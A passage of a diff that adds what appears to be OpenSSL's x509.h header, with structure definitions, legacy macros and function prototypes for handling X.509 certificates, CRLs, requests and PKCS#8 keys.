pub key */ + + /* When decrypted, the following will not be NULL */ + EVP_PKEY *dec_pkey; + + /* used to encrypt and decrypt */ + int key_length; + char *key_data; + int key_free; /* true if we should auto free key_data */ + + /* expanded version of 'enc_algor' */ + EVP_CIPHER_INFO cipher; + + int references; + } X509_PKEY; + +#ifndef OPENSSL_NO_EVP +typedef struct X509_info_st + { + X509 *x509; + X509_CRL *crl; + X509_PKEY *x_pkey; + + EVP_CIPHER_INFO enc_cipher; + int enc_len; + char *enc_data; + + int references; + } X509_INFO; + +DECLARE_STACK_OF(X509_INFO) +#endif + +/* The next 2 structures and their 8 routines were sent to me by + * Pat Richard and are used to manipulate + * Netscapes spki structures - useful if you are writing a CA web page + */ +typedef struct Netscape_spkac_st + { + X509_PUBKEY *pubkey; + ASN1_IA5STRING *challenge; /* challenge sent in atlas >= PR2 */ + } NETSCAPE_SPKAC; + +typedef struct Netscape_spki_st + { + NETSCAPE_SPKAC *spkac; /* signed public key and challenge */ + X509_ALGOR *sig_algor; + ASN1_BIT_STRING *signature; + } NETSCAPE_SPKI; + +/* Netscape certificate sequence structure */ +typedef struct Netscape_certificate_sequence + { + ASN1_OBJECT *type; + STACK_OF(X509) *certs; + } NETSCAPE_CERT_SEQUENCE; + +/* Unused (and iv length is wrong) +typedef struct CBCParameter_st + { + unsigned char iv[8]; + } CBC_PARAM; +*/ + +/* Password based encryption structure */ + +typedef struct PBEPARAM_st { +ASN1_OCTET_STRING *salt; +ASN1_INTEGER *iter; +} PBEPARAM; + +/* Password based encryption V2 structures */ + +typedef struct PBE2PARAM_st { +X509_ALGOR *keyfunc; +X509_ALGOR *encryption; +} PBE2PARAM; + +typedef struct PBKDF2PARAM_st { +ASN1_TYPE *salt; /* Usually OCTET STRING but could be anything */ +ASN1_INTEGER *iter; +ASN1_INTEGER *keylength; +X509_ALGOR *prf; +} PBKDF2PARAM; + + +/* PKCS#8 private key info structure */ + +typedef struct pkcs8_priv_key_info_st + { + int broken; /* Flag for various broken formats */ +#define PKCS8_OK 0 +#define PKCS8_NO_OCTET 1 +#define PKCS8_EMBEDDED_PARAM 2 +#define PKCS8_NS_DB 3 + ASN1_INTEGER *version; + X509_ALGOR *pkeyalg; + ASN1_TYPE *pkey; /* Should be OCTET STRING but some are broken */ + STACK_OF(X509_ATTRIBUTE) *attributes; + } PKCS8_PRIV_KEY_INFO; + +#ifdef __cplusplus +} +#endif + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef SSLEAY_MACROS +#define X509_verify(a,r) ASN1_verify((int (*)())i2d_X509_CINF,a->sig_alg,\ + a->signature,(char *)a->cert_info,r) +#define X509_REQ_verify(a,r) ASN1_verify((int (*)())i2d_X509_REQ_INFO, \ + a->sig_alg,a->signature,(char *)a->req_info,r) +#define X509_CRL_verify(a,r) ASN1_verify((int (*)())i2d_X509_CRL_INFO, \ + a->sig_alg, a->signature,(char *)a->crl,r) + +#define X509_sign(x,pkey,md) \ + ASN1_sign((int (*)())i2d_X509_CINF, x->cert_info->signature, \ + x->sig_alg, x->signature, (char *)x->cert_info,pkey,md) +#define X509_REQ_sign(x,pkey,md) \ + ASN1_sign((int (*)())i2d_X509_REQ_INFO,x->sig_alg, NULL, \ + x->signature, (char *)x->req_info,pkey,md) +#define X509_CRL_sign(x,pkey,md) \ + ASN1_sign((int (*)())i2d_X509_CRL_INFO,x->crl->sig_alg,x->sig_alg, \ + x->signature, (char *)x->crl,pkey,md) +#define NETSCAPE_SPKI_sign(x,pkey,md) \ + ASN1_sign((int (*)())i2d_NETSCAPE_SPKAC, x->sig_algor,NULL, \ + x->signature, (char *)x->spkac,pkey,md) + +#define X509_dup(x509) (X509 *)ASN1_dup((int (*)())i2d_X509, \ + (char *(*)())d2i_X509,(char *)x509) +#define X509_ATTRIBUTE_dup(xa) (X509_ATTRIBUTE *)ASN1_dup(\ + (int (*)())i2d_X509_ATTRIBUTE, \ + (char *(*)())d2i_X509_ATTRIBUTE,(char *)xa) +#define X509_EXTENSION_dup(ex) (X509_EXTENSION *)ASN1_dup( \ + (int (*)())i2d_X509_EXTENSION, \ + (char *(*)())d2i_X509_EXTENSION,(char *)ex) +#define d2i_X509_fp(fp,x509) (X509 *)ASN1_d2i_fp((char *(*)())X509_new, \ + (char *(*)())d2i_X509, (fp),(unsigned char **)(x509)) +#define i2d_X509_fp(fp,x509) ASN1_i2d_fp(i2d_X509,fp,(unsigned char *)x509) +#define d2i_X509_bio(bp,x509) (X509 *)ASN1_d2i_bio((char *(*)())X509_new, \ + (char *(*)())d2i_X509, (bp),(unsigned char **)(x509)) +#define i2d_X509_bio(bp,x509) ASN1_i2d_bio(i2d_X509,bp,(unsigned char *)x509) + +#define X509_CRL_dup(crl) (X509_CRL *)ASN1_dup((int (*)())i2d_X509_CRL, \ + (char *(*)())d2i_X509_CRL,(char *)crl) +#define d2i_X509_CRL_fp(fp,crl) (X509_CRL *)ASN1_d2i_fp((char *(*)()) \ + X509_CRL_new,(char *(*)())d2i_X509_CRL, (fp),\ + (unsigned char **)(crl)) +#define i2d_X509_CRL_fp(fp,crl) ASN1_i2d_fp(i2d_X509_CRL,fp,\ + (unsigned char *)crl) +#define d2i_X509_CRL_bio(bp,crl) (X509_CRL *)ASN1_d2i_bio((char *(*)()) \ + X509_CRL_new,(char *(*)())d2i_X509_CRL, (bp),\ + (unsigned char **)(crl)) +#define i2d_X509_CRL_bio(bp,crl) ASN1_i2d_bio(i2d_X509_CRL,bp,\ + (unsigned char *)crl) + +#define PKCS7_dup(p7) (PKCS7 *)ASN1_dup((int (*)())i2d_PKCS7, \ + (char *(*)())d2i_PKCS7,(char *)p7) +#define d2i_PKCS7_fp(fp,p7) (PKCS7 *)ASN1_d2i_fp((char *(*)()) \ + PKCS7_new,(char *(*)())d2i_PKCS7, (fp),\ + (unsigned char **)(p7)) +#define i2d_PKCS7_fp(fp,p7) ASN1_i2d_fp(i2d_PKCS7,fp,\ + (unsigned char *)p7) +#define d2i_PKCS7_bio(bp,p7) (PKCS7 *)ASN1_d2i_bio((char *(*)()) \ + PKCS7_new,(char *(*)())d2i_PKCS7, (bp),\ + (unsigned char **)(p7)) +#define i2d_PKCS7_bio(bp,p7) ASN1_i2d_bio(i2d_PKCS7,bp,\ + (unsigned char *)p7) + +#define X509_REQ_dup(req) (X509_REQ *)ASN1_dup((int (*)())i2d_X509_REQ, \ + (char *(*)())d2i_X509_REQ,(char *)req) +#define d2i_X509_REQ_fp(fp,req) (X509_REQ *)ASN1_d2i_fp((char *(*)())\ + X509_REQ_new, (char *(*)())d2i_X509_REQ, (fp),\ + (unsigned char **)(req)) +#define i2d_X509_REQ_fp(fp,req) ASN1_i2d_fp(i2d_X509_REQ,fp,\ + (unsigned char *)req) +#define d2i_X509_REQ_bio(bp,req) (X509_REQ *)ASN1_d2i_bio((char *(*)())\ + X509_REQ_new, (char *(*)())d2i_X509_REQ, (bp),\ + (unsigned char **)(req)) +#define i2d_X509_REQ_bio(bp,req) ASN1_i2d_bio(i2d_X509_REQ,bp,\ + (unsigned char *)req) + +#define RSAPublicKey_dup(rsa) (RSA *)ASN1_dup((int (*)())i2d_RSAPublicKey, \ + (char *(*)())d2i_RSAPublicKey,(char *)rsa) +#define RSAPrivateKey_dup(rsa) (RSA *)ASN1_dup((int (*)())i2d_RSAPrivateKey, \ + (char *(*)())d2i_RSAPrivateKey,(char *)rsa) + +#define d2i_RSAPrivateKey_fp(fp,rsa) (RSA *)ASN1_d2i_fp((char *(*)())\ + RSA_new,(char *(*)())d2i_RSAPrivateKey, (fp), \ + (unsigned char **)(rsa)) +#define i2d_RSAPrivateKey_fp(fp,rsa) ASN1_i2d_fp(i2d_RSAPrivateKey,fp, \ + (unsigned char *)rsa) +#define d2i_RSAPrivateKey_bio(bp,rsa) (RSA *)ASN1_d2i_bio((char *(*)())\ + RSA_new,(char *(*)())d2i_RSAPrivateKey, (bp), \ + (unsigned char **)(rsa)) +#define i2d_RSAPrivateKey_bio(bp,rsa) ASN1_i2d_bio(i2d_RSAPrivateKey,bp, \ + (unsigned char *)rsa) + +#define d2i_RSAPublicKey_fp(fp,rsa) (RSA *)ASN1_d2i_fp((char *(*)())\ + RSA_new,(char *(*)())d2i_RSAPublicKey, (fp), \ + (unsigned char **)(rsa)) +#define i2d_RSAPublicKey_fp(fp,rsa) ASN1_i2d_fp(i2d_RSAPublicKey,fp, \ + (unsigned char *)rsa) +#define d2i_RSAPublicKey_bio(bp,rsa) (RSA *)ASN1_d2i_bio((char *(*)())\ + RSA_new,(char *(*)())d2i_RSAPublicKey, (bp), \ + (unsigned char **)(rsa)) +#define i2d_RSAPublicKey_bio(bp,rsa) ASN1_i2d_bio(i2d_RSAPublicKey,bp, \ + (unsigned char *)rsa) + +#define d2i_DSAPrivateKey_fp(fp,dsa) (DSA *)ASN1_d2i_fp((char *(*)())\ + DSA_new,(char *(*)())d2i_DSAPrivateKey, (fp), \ + (unsigned char **)(dsa)) +#define i2d_DSAPrivateKey_fp(fp,dsa) ASN1_i2d_fp(i2d_DSAPrivateKey,fp, \ + (unsigned char *)dsa) +#define d2i_DSAPrivateKey_bio(bp,dsa) (DSA *)ASN1_d2i_bio((char *(*)())\ + DSA_new,(char *(*)())d2i_DSAPrivateKey, (bp), \ + (unsigned char **)(dsa)) +#define i2d_DSAPrivateKey_bio(bp,dsa) ASN1_i2d_bio(i2d_DSAPrivateKey,bp, \ + (unsigned char *)dsa) + +#define d2i_ECPrivateKey_fp(fp,ecdsa) (EC_KEY *)ASN1_d2i_fp((char *(*)())\ + EC_KEY_new,(char *(*)())d2i_ECPrivateKey, (fp), \ + (unsigned char **)(ecdsa)) +#define i2d_ECPrivateKey_fp(fp,ecdsa) ASN1_i2d_fp(i2d_ECPrivateKey,fp, \ + (unsigned char *)ecdsa) +#define d2i_ECPrivateKey_bio(bp,ecdsa) (EC_KEY *)ASN1_d2i_bio((char *(*)())\ + EC_KEY_new,(char *(*)())d2i_ECPrivateKey, (bp), \ + (unsigned char **)(ecdsa)) +#define i2d_ECPrivateKey_bio(bp,ecdsa) ASN1_i2d_bio(i2d_ECPrivateKey,bp, \ + (unsigned char *)ecdsa) + +#define X509_ALGOR_dup(xn) (X509_ALGOR *)ASN1_dup((int (*)())i2d_X509_ALGOR,\ + (char *(*)())d2i_X509_ALGOR,(char *)xn) + +#define X509_NAME_dup(xn) (X509_NAME *)ASN1_dup((int (*)())i2d_X509_NAME, \ + (char *(*)())d2i_X509_NAME,(char *)xn) +#define X509_NAME_ENTRY_dup(ne) (X509_NAME_ENTRY *)ASN1_dup( \ + (int (*)())i2d_X509_NAME_ENTRY, \ + (char *(*)())d2i_X509_NAME_ENTRY,\ + (char *)ne) + +#define X509_digest(data,type,md,len) \ + ASN1_digest((int (*)())i2d_X509,type,(char *)data,md,len) +#define X509_NAME_digest(data,type,md,len) \ + ASN1_digest((int (*)())i2d_X509_NAME,type,(char *)data,md,len) +#ifndef PKCS7_ISSUER_AND_SERIAL_digest +#define PKCS7_ISSUER_AND_SERIAL_digest(data,type,md,len) \ + ASN1_digest((int (*)())i2d_PKCS7_ISSUER_AND_SERIAL,type,\ + (char *)data,md,len) +#endif +#endif + +#define X509_EXT_PACK_UNKNOWN 1 +#define X509_EXT_PACK_STRING 2 + +#define X509_get_version(x) ASN1_INTEGER_get((x)->cert_info->version) +/* #define X509_get_serialNumber(x) ((x)->cert_info->serialNumber) */ +#define X509_get_notBefore(x) ((x)->cert_info->validity->notBefore) +#define X509_get_notAfter(x) ((x)->cert_info->validity->notAfter) +#define X509_extract_key(x) X509_get_pubkey(x) /*****/ +#define X509_REQ_get_version(x) ASN1_INTEGER_get((x)->req_info->version) +#define X509_REQ_get_subject_name(x) ((x)->req_info->subject) +#define X509_REQ_extract_key(a) X509_REQ_get_pubkey(a) +#define X509_name_cmp(a,b) X509_NAME_cmp((a),(b)) +#define X509_get_signature_type(x) EVP_PKEY_type(OBJ_obj2nid((x)->sig_alg->algorithm)) + +#define X509_CRL_get_version(x) ASN1_INTEGER_get((x)->crl->version) +#define X509_CRL_get_lastUpdate(x) ((x)->crl->lastUpdate) +#define X509_CRL_get_nextUpdate(x) ((x)->crl->nextUpdate) +#define X509_CRL_get_issuer(x) ((x)->crl->issuer) +#define X509_CRL_get_REVOKED(x) ((x)->crl->revoked) + +/* This one is only used so that a binary form can output, as in + * i2d_X509_NAME(X509_get_X509_PUBKEY(x),&buf) */ +#define X509_get_X509_PUBKEY(x) ((x)->cert_info->key) + + +const char *X509_verify_cert_error_string(long n); + +#ifndef SSLEAY_MACROS +#ifndef OPENSSL_NO_EVP +int X509_verify(X509 *a, EVP_PKEY *r); + +int X509_REQ_verify(X509_REQ *a, EVP_PKEY *r); +int X509_CRL_verify(X509_CRL *a, EVP_PKEY *r); +int NETSCAPE_SPKI_verify(NETSCAPE_SPKI *a, EVP_PKEY *r); + +NETSCAPE_SPKI * NETSCAPE_SPKI_b64_decode(const char *str, int len); +char * NETSCAPE_SPKI_b64_encode(NETSCAPE_SPKI *x); +EVP_PKEY *NETSCAPE_SPKI_get_pubkey(NETSCAPE_SPKI *x); +int NETSCAPE_SPKI_set_pubkey(NETSCAPE_SPKI *x, EVP_PKEY *pkey); + +int NETSCAPE_SPKI_print(BIO *out, NETSCAPE_SPKI *spki); + +int X509_signature_print(BIO *bp,X509_ALGOR *alg, ASN1_STRING *sig); + +int X509_sign(X509 *x, EVP_PKEY *pkey, const EVP_MD *md); +int X509_REQ_sign(X509_REQ *x, EVP_PKEY *pkey, const EVP_MD *md); +int X509_CRL_sign(X509_CRL *x, EVP_PKEY *pkey, const EVP_MD *md); +int NETSCAPE_SPKI_sign(NETSCAPE_SPKI *x, EVP_PKEY *pkey, const EVP_MD *md); + +int X509_pubkey_digest(const X509 *data,const EVP_MD *type, + unsigned char *md, unsigned int *len); +int X509_digest(const X509 *data,const EVP_MD *type, + unsigned char *md, unsigned int *len); +int X509_CRL_digest(const X509_CRL *data,const EVP_MD *type, + unsigned char *md, unsigned int *len); +int X509_REQ_digest(const X509_REQ *data,const EVP_MD *type, + unsigned char *md, unsigned int *len); +int X509_NAME_digest(const X509_NAME *data,const EVP_MD *type, + unsigned char *md, unsigned int *len); +#endif + +#ifndef OPENSSL_NO_FP_API +X509 *d2i_X509_fp(FILE *fp, X509 **x509); +int i2d_X509_fp(FILE *fp,X509 *x509); +X509_CRL *d2i_X509_CRL_fp(FILE *fp,X509_CRL **crl); +int i2d_X509_CRL_fp(FILE *fp,X509_CRL *crl); +X509_REQ *d2i_X509_REQ_fp(FILE *fp,X509_REQ **req); +int i2d_X509_REQ_fp(FILE *fp,X509_REQ *req); +#ifndef OPENSSL_NO_RSA +RSA *d2i_RSAPrivateKey_fp(FILE *fp,RSA **rsa); +int i2d_RSAPrivateKey_fp(FILE *fp,RSA *rsa); +RSA *d2i_RSAPublicKey_fp(FILE *fp,RSA **rsa); +int i2d_RSAPublicKey_fp(FILE *fp,RSA *rsa); +RSA *d2i_RSA_PUBKEY_fp(FILE *fp,RSA **rsa); +int i2d_RSA_PUBKEY_fp(FILE *fp,RSA *rsa); +#endif +#ifndef OPENSSL_NO_DSA +DSA *d2i_DSA_PUBKEY_fp(FILE *fp, DSA **dsa); +int i2d_DSA_PUBKEY_fp(FILE *fp, DSA *dsa); +DSA *d2i_DSAPrivateKey_fp(FILE *fp, DSA **dsa); +int i2d_DSAPrivateKey_fp(FILE *fp, DSA *dsa); +#endif +#ifndef OPENSSL_NO_EC +EC_KEY *d2i_EC_PUBKEY_fp(FILE *fp, EC_KEY **eckey); +int i2d_EC_PUBKEY_fp(FILE *fp, EC_KEY *eckey); +EC_KEY *d2i_ECPrivateKey_fp(FILE *fp, EC_KEY **eckey); +int i2d_ECPrivateKey_fp(FILE *fp, EC_KEY *eckey); +#endif +X509_SIG *d2i_PKCS8_fp(FILE *fp,X509_SIG **p8); +int i2d_PKCS8_fp(FILE *fp,X509_SIG *p8); +PKCS8_PRIV_KEY_INFO *d2i_PKCS8_PRIV_KEY_INFO_fp(FILE *fp, + PKCS8_PRIV_KEY_INFO **p8inf); +int i2d_PKCS8_PRIV_KEY_INFO_fp(FILE *fp,PKCS8_PRIV_KEY_INFO *p8inf); +int i2d_PKCS8PrivateKeyInfo_fp(FILE *fp, EVP_PKEY *key); +int i2d_PrivateKey_fp(FILE *fp, EVP_PKEY *pkey); +EVP_PKEY *d2i_PrivateKey_fp(FILE *fp, EVP_PKEY **a); +int i2d_PUBKEY_fp(FILE *fp, EVP_PKEY *pkey); +EVP_PKEY *d2i_PUBKEY_fp(FILE *fp, EVP_PKEY **a); +#endif + +#ifndef OPENSSL_NO_BIO +X509 *d2i_X509_bio(BIO *bp,X509 **x509); +int i2d_X509_bio(BIO *bp,X509 *x509); +X509_CRL *d2i_X509_CRL_bio(BIO *bp,X509_CRL **crl); +int i2d_X509_CRL_bio(BIO *bp,X509_CRL *crl); +X509_REQ *d2i_X509_REQ_bio(BIO *bp,X509_REQ **req); +int i2d_X509_REQ_bio(BIO *bp,X509_REQ *req); +#ifndef OPENSSL_NO_RSA +RSA *d2i_RSAPrivateKey_bio(BIO *bp,RSA **rsa); +int i2d_RSAPrivateKey_bio(BIO *bp,RSA *rsa); +RSA *d2i_RSAPublicKey_bio(BIO *bp,RSA **rsa); +int i2d_RSAPublicKey_bio(BIO *bp,RSA *rsa); +RSA *d2i_RSA_PUBKEY_bio(BIO *bp,RSA **rsa); +int i2d_RSA_PUBKEY_bio(BIO *bp,RSA *rsa); +#endif +#ifndef OPENSSL_NO_DSA +DSA *d2i_DSA_PUBKEY_bio(BIO *bp, DSA **dsa); +int i2d_DSA_PUBKEY_bio(BIO *bp, DSA *dsa); +DSA *d2i_DSAPrivateKey_bio(BIO *bp, DSA **dsa); +int i2d_DSAPrivateKey_bio(BIO *bp, DSA *dsa); +#endif +#ifndef OPENSSL_NO_EC +EC_KEY *d2i_EC_PUBKEY_bio(BIO *bp, EC_KEY **eckey); +int i2d_EC_PUBKEY_bio(BIO *bp, EC_KEY *eckey); +EC_KEY *d2i_ECPrivateKey_bio(BIO *bp, EC_KEY **eckey); +int i2d_ECPrivateKey_bio(BIO *bp, EC_KEY *eckey); +#endif +X509_SIG *d2i_PKCS8_bio(BIO *bp,X509_SIG **p8); +int i2d_PKCS8_bio(BIO *bp,X509_SIG *p8); +PKCS8_PRIV_KEY_INFO *d2i_PKCS8_PRIV_KEY_INFO_bio(BIO *bp, + PKCS8_PRIV_KEY_INFO **p8inf); +int i2d_PKCS8_PRIV_KEY_INFO_bio(BIO *bp,PKCS8_PRIV_KEY_INFO *p8inf); +int i2d_PKCS8PrivateKeyInfo_bio(BIO *bp, EVP_PKEY *key); +int i2d_PrivateKey_bio(BIO *bp, EVP_PKEY *pkey); +EVP_PKEY *d2i_PrivateKey_bio(BIO *bp, EVP_PKEY **a); +int i2d_PUBKEY_bio(BIO *bp, EVP_PKEY *pkey); +EVP_PKEY *d2i_PUBKEY_bio(BIO *bp, EVP_PKEY **a); +#endif + +X509 *X509_dup(X509 *x509); +X509_ATTRIBUTE *X509_ATTRIBUTE_dup(X509_ATTRIBUTE *xa); +X509_EXTENSION *X509_EXTENSION_dup(X509_EXTENSION *ex); +X509_CRL *X509_CRL_dup(X509_CRL *crl); +X509_REQ *X509_REQ_dup(X509_REQ *req); +X509_ALGOR *X509_ALGOR_dup(X509_ALGOR *xn); +int X509_ALGOR_set0(X509_ALGOR *alg, ASN1_OBJECT *aobj, int ptype, void *pval); +void X509_ALGOR_get0(ASN1_OBJECT **paobj, int *pptype, void **ppval, + X509_ALGOR *algor); + +X509_NAME *X509_NAME_dup(X509_NAME *xn); +X509_NAME_ENTRY *X509_NAME_ENTRY_dup(X509_NAME_ENTRY *ne); + +#endif /* !SSLEAY_MACROS */ + +int X509_cmp_time(ASN1_TIME *s, time_t *t); +int X509_cmp_current_time(ASN1_TIME *s); +ASN1_TIME * X509_time_adj(ASN1_TIME *s, long adj, time_t *t); +ASN1_TIME * X509_gmtime_adj(ASN1_TIME *s, long adj); + +const char * X509_get_default_cert_area(void ); +const char * X509_get_default_cert_dir(void ); +const char * X509_get_default_cert_file(void ); +const char * X509_get_default_cert_dir_env(void ); +const char * X509_get_default_cert_file_env(void ); +const char * X509_get_default_private_dir(void ); + +X509_REQ * X509_to_X509_REQ(X509 *x, EVP_PKEY *pkey, const EVP_MD *md); +X509 * X509_REQ_to_X509(X509_REQ *r, int days,EVP_PKEY *pkey); + +DECLARE_ASN1_FUNCTIONS(X509_ALGOR) +DECLARE_ASN1_ENCODE_FUNCTIONS(X509_ALGORS, X509_ALGORS, X509_ALGORS) +DECLARE_ASN1_FUNCTIONS(X509_VAL) + +DECLARE_ASN1_FUNCTIONS(X509_PUBKEY) + +int X509_PUBKEY_set(X509_PUBKEY **x, EVP_PKEY *pkey); +EVP_PKEY * X509_PUBKEY_get(X509_PUBKEY *key); +int X509_get_pubkey_parameters(EVP_PKEY *pkey, + STACK_OF(X509) *chain); +int i2d_PUBKEY(EVP_PKEY *a,unsigned char **pp); +EVP_PKEY * d2i_PUBKEY(EVP_PKEY **a,const unsigned char **pp, + long length); +#ifndef OPENSSL_NO_RSA +int i2d_RSA_PUBKEY(RSA *a,unsigned char **pp); +RSA * d2i_RSA_PUBKEY(RSA **a,const unsigned char **pp, + long length); +#endif +#ifndef OPENSSL_NO_DSA +int i2d_DSA_PUBKEY(DSA *a,unsigned char **pp); +DSA * d2i_DSA_PUBKEY(DSA **a,const unsigned char **pp, + long length); +#endif +#ifndef OPENSSL_NO_EC +int i2d_EC_PUBKEY(EC_KEY *a, unsigned char **pp); +EC_KEY *d2i_EC_PUBKEY(EC_KEY **a, const unsigned char **pp, + long length); +#endif + +DECLARE_ASN1_FUNCTIONS(X509_SIG) +DECLARE_ASN1_FUNCTIONS(X509_REQ_INFO) +DECLARE_ASN1_FUNCTIONS(X509_REQ) + +DECLARE_ASN1_FUNCTIONS(X509_ATTRIBUTE) +X509_ATTRIBUTE *X509_ATTRIBUTE_create(int nid, int atrtype, void *value); + +DECLARE_ASN1_FUNCTIONS(X509_EXTENSION) +DECLARE_ASN1_ENCODE_FUNCTIONS(X509_EXTENSIONS, X509_EXTENSIONS, X509_EXTENSIONS) + +DECLARE_ASN1_FUNCTIONS(X509_NAME_ENTRY) + +DECLARE_ASN1_FUNCTIONS(X509_NAME) + +int X509_NAME_set(X509_NAME **xn, X509_NAME *name); + +DECLARE_ASN1_FUNCTIONS(X509_CINF) + +DECLARE_ASN1_FUNCTIONS(X509) +DECLARE_ASN1_FUNCTIONS(X509_CERT_AUX) + +DECLARE_ASN1_FUNCTIONS(X509_CERT_PAIR) + +int X509_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new *new_func, + CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func); +int X509_set_ex_data(X509 *r, int idx, void *arg); +void *X509_get_ex_data(X509 *r, int idx); +int i2d_X509_AUX(X509 *a,unsigned char **pp); +X509 * d2i_X509_AUX(X509 **a,const unsigned char **pp,long length); + +int X509_alias_set1(X509 *x, unsigned char *name, int len); +int X509_keyid_set1(X509 *x, unsigned char *id, int len); +unsigned char * X509_alias_get0(X509 *x, int *len); +unsigned char * X509_keyid_get0(X509 *x, int *len); +int (*X509_TRUST_set_default(int (*trust)(int , X509 *, int)))(int, X509 *, int); +int X509_TRUST_set(int *t, int trust); +int X509_add1_trust_object(X509 *x, ASN1_OBJECT *obj); +int X509_add1_reject_object(X509 *x, ASN1_OBJECT *obj); +void X509_trust_clear(X509 *x); +void X509_reject_clear(X509 *x); + +DECLARE_ASN1_FUNCTIONS(X509_REVOKED) +DECLARE_ASN1_FUNCTIONS(X509_CRL_INFO) +DECLARE_ASN1_FUNCTIONS(X509_CRL) + +int X509_CRL_add0_revoked(X509_CRL *crl, X509_REVOKED *rev); + +X509_PKEY * X509_PKEY_new(void ); +void X509_PKEY_free(X509_PKEY *a); +int i2d_X509_PKEY(X509_PKEY *a,unsigned char **pp); +X509_PKEY * d2i_X509_PKEY(X509_PKEY **a,const unsigned char **pp,long length); + +DECLARE_ASN1_FUNCTIONS(NETSCAPE_SPKI) +DECLARE_ASN1_FUNCTIONS(NETSCAPE_SPKAC) +DECLARE_ASN1_FUNCTIONS(NETSCAPE_CERT_SEQUENCE) + +#ifndef OPENSSL_NO_EVP +X509_INFO * X509_INFO_new(void); +void X509_INFO_free(X509_INFO *a); +char * X509_NAME_oneline(X509_NAME *a,char *buf,int size); + +int ASN1_verify(i2d_of_void *i2d, X509_ALGOR *algor1, + ASN1_BIT_STRING *signature,char *data,EVP_PKEY *pkey); + +int ASN1_digest(i2d_of_void *i2d,const EVP_MD *type,char *data, + unsigned char *md,unsigned int *len); + +int ASN1_sign(i2d_of_void *i2d, X509_ALGOR *algor1, + X509_ALGOR *algor2, ASN1_BIT_STRING *signature, + char *data,EVP_PKEY *pkey, const EVP_MD *type); + +int ASN1_item_digest(const ASN1_ITEM *it,const EVP_MD *type,void *data, + unsigned char *md,unsigned int *len); + +int ASN1_item_verify(const ASN1_ITEM *it, X509_ALGOR *algor1, + ASN1_BIT_STRING *signature,void *data,EVP_PKEY *pkey); + +int ASN1_item_sign(const ASN1_ITEM *it, X509_ALGOR *algor1, X509_ALGOR *algor2, + ASN1_BIT_STRING *signature, + void *data, EVP_PKEY *pkey, const EVP_MD *type); +#endif + +int X509_set_version(X509 *x,long version); +int X509_set_serialNumber(X509 *x, ASN1_INTEGER *serial); +ASN1_INTEGER * X509_get_serialNumber(X509 *x); +int X509_set_issuer_name(X509 *x, X509_NAME *name); +X509_NAME * X509_get_issuer_name(X509 *a); +int X509_set_subject_name(X509 *x, X509_NAME *name); +X509_NAME * X509_get_subject_name(X509 *a); +int X509_set_notBefore(X509 *x, ASN1_TIME *tm); +int X509_set_notAfter(X509 *x, ASN1_TIME *tm); +int X509_set_pubkey(X509 *x, EVP_PKEY *pkey); +EVP_PKEY * X509_get_pubkey(X509 *x); +ASN1_BIT_STRING * X509_get0_pubkey_bitstr(const X509 *x); +int X509_certificate_type(X509 *x,EVP_PKEY *pubkey /* optional */); + +int X509_REQ_set_version(X509_REQ *x,long version); +int X509_REQ_set_subject_name(X509_REQ *req,X509_NAME *name); +int X509_REQ_set_pubkey(X509_REQ *x, EVP_PKEY *pkey); +EVP_PKEY * X509_REQ_get_pubkey(X509_REQ *req); +int X509_REQ_extension_nid(int nid); +int * X509_REQ_get_extension_nids(void); +void X509_REQ_set_extension_nids(int *nids); +STACK_OF(X509_EXTENSION) *X509_REQ_get_extensions(X509_REQ *req); +int X509_REQ_add_extensions_nid(X509_REQ *req, STACK_OF(X509_EXTENSION) *exts, + int nid); +int X509_REQ_add_extensions(X509_REQ *req, STACK_OF(X509_EXTENSION) *exts); +int X509_REQ_get_attr_count(const X509_REQ *req); +int X509_REQ_get_attr_by_NID(const X509_REQ *req, int nid, + int lastpos); +int X509_REQ_get_attr_by_OBJ(const X509_REQ *req, ASN1_OBJECT *obj, + int lastpos); +X509_ATTRIBUTE *X509_REQ_get_attr(const X509_REQ *req, int loc); +X509_ATTRIBUTE *X509_REQ_delete_attr(X509_REQ *req, int loc); +int X509_REQ_add1_attr(X509_REQ *req, X509_ATTRIBUTE *attr); +int X509_REQ_add1_attr_by_OBJ(X509_REQ *req, + const ASN1_OBJECT *obj, int type, + const unsigned char *bytes, int len); +int X509_REQ_add1_attr_by_NID(X509_REQ *req, + int nid, int type, + const unsigned char *bytes, int len); +int X509_REQ_add1_attr_by_txt(X509_REQ *req, + const char *attrname, int type, + const unsigned char *bytes, int len); + +int X509_CRL_set_version(X509_CRL *x, long version); +int X509_CRL_set_issuer_name(X509_CRL *x, X509_NAME *name); +int X509_CRL_set_lastUpdate(X509_CRL *x, ASN1_TIME *tm); +int X509_CRL_set_nextUpdate(X509_CRL *x, ASN1_TIME *tm); +int X509_CRL_sort(X509_CRL *crl); + +int X509_REVOKED_set_serialNumber(X509_REVOKED *x, ASN1_INTEGER *serial); +int X509_REVOKED_set_revocationDate(X509_REVOKED *r, ASN1_TIME *tm); + +int X509_REQ_check_private_key(X509_REQ *x509,EVP_PKEY *pkey); + +int X509_check_private_key(X509 *x509,EVP_PKEY *pkey); + +int X509_issuer_and_serial_cmp(const X509 *a, const X509 *b); +unsigned long X509_issuer_and_serial_hash(X509 *a); + +int X509_issuer_name_cmp(const X509 *a, const X509 *b); +unsigned long X509_issuer_name_hash(X509 *a); + +int X509_subject_name_cmp(const X509 *a, const X509 *b); +unsigned long X509_subject_name_hash(X509 *x); + +int X509_cmp(const X509 *a, const X509 *b); +int X509_NAME_cmp(const X509_NAME *a, const X509_NAME *b); +unsigned long X509_NAME_hash(X509_NAME *x); + +int X509_CRL_cmp(const X509_CRL *a, const X509_CRL *b); +#ifndef OPENSSL_NO_FP_API +int X509_print_ex_fp(FILE *bp,X509 *x, unsigned long nmflag, unsigned long cflag); +int X509_print_fp(FILE *bp,X509 *x); +int X509_CRL_print_fp(FILE *bp,X509_CRL *x); +int X509_REQ_print_fp(FILE *bp,X509_REQ *req); +int X509_NAME_print_ex_fp(FILE *fp, X509_NAME *nm, int indent, unsigned long flags); +#endif + +#ifndef OPENSSL_NO_BIO +int X509_NAME_print(BIO *bp, X509_NAME *name, int obase); +int X509_NAME_print_ex(BIO *out, X509_NAME *nm, int indent, unsigned long flags); +int X509_print_ex(BIO *bp,X509 *x, unsigned long nmflag, unsigned long cflag); +int X509_print(BIO *bp,X509 *x); +int X509_ocspid_print(BIO *bp,X509 *x); +int X509_CERT_AUX_print(BIO *bp,X509_CERT_AUX *x, int indent); +int X509_CRL_print(BIO *bp,X509_CRL *x); +int X509_REQ_print_ex(BIO *bp, X509_REQ *x, unsigned long 